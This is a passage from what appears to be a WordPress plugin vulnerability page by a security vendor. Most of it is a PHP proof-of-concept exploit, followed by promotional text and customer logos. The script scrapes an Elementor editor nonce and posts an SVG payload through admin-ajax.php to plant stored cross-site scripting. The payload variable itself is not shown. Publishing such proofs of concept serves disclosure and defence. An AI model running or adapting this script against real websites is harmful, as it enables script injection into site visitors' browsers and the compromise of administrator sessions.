curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);

// Get AJAX nonce by loading the edit page (replace POST ID with actual)
$edit_url = TARGET_URL . '/wp-admin/post.php?post=1&action=elementor'; // ID may vary
curl_setopt($ch, CURLOPT_URL, $edit_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);
preg_match('/var nonce = "([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Craft AJAX request to inject SVG payload via custom_svg parameter
$ajax_url = TARGET_URL . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'save_builder', // Action may vary; consult plugin hooks
    'nonce' => $nonce,
    'editor_post_id' => 1,
    'custom_svg' => $payload
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);

echo "Payload injected. Visit the page where the SVG condition is rendered to trigger XSS.n";
curl_close($ch);
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School